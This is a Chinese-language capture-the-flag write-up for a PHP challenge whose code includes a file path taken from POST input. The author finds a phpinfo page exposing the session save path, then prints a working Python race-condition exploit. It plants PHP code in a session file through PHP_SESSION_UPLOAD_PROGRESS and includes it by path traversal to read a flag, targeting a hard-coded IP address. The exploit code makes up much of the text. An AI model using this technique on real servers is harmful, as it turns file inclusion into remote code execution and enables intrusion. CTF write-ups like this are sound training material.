1. <?php
    2.     highlight_file(__FILE__);
    3.     echo "your flag is in some file in /etc ";
    4.     $fielf=$_POST["field"];
    5.     $cf="/tmp/app_auth/cfile/".$_POST['cf'];
    7.     if(file_exists($cf)){
    8.         include $cf;
    9.         echo $$field;
    10.         exit;
    11.     }
    12.     else{
    13.         echo "";
    14.         exit;
    15.     }
    16. ?> your flag is in some file in /etc

    刚开始看还以为是出题的变量名字打错了，然后半天也不改，而且还有人做出来了，但看了半天只有一个任意文件读取漏洞，以为不能扫描就没碰，进度一度陷入僵局。
    后来尝试扫了一下，结果扫出来一个you_can_seeeeeeee_me.php，访问后发现是phpinfo的信息。一点一点看各种信息，最终看到一个session.save_path=/var/lib/php/sessions/caefcfedje，结合源码的include，觉得这里应该是能利用的点，上网找了下脚本，成功命令执行：

    1. import io
    2. import sys
    3. import requests
    4. import threading
    6. sessid = 'Qftm'
    8. def POST(session):
    9.     while True:
    10.         f = io.BytesIO(b'a' * 1024 * 50)
    11.         session.post(
    12.             'http://124.70.48.235:20781/',
    13.             data={
    14.                 "PHP_SESSION_UPLOAD_PROGRESS": "<?php var_dump(file_get_contents('/etc/fifeahbegc/hbcceebeje/dhdcbbdjcd/babeechfba/fifhdabccd/fl444444g'));?>"},
    15.             files={"file": ('q.txt', f)},
    16.             cookies={'PHPSESSID': sessid}
    17.         )
    19. def READ(session):
    20.     while True:
    21.         response = session.post(
    22.             'http://124.70.48.235:20781/', data={"cf": f"../../../../../../../../var/lib/php/sessions/caefcfedje/sess_{sessid}"})
    23.         # print('[+++]retry')
    24.         # print(response.text)
    26.         print(response.text)
    27.         sys.exit(0)
    30. with requests.session() as session:
    31.     t1 = threading.Thread(target=POST, args=(session, ))
    32.     t1.daemon = True
    33.     t1.start()
    34.     READ(session)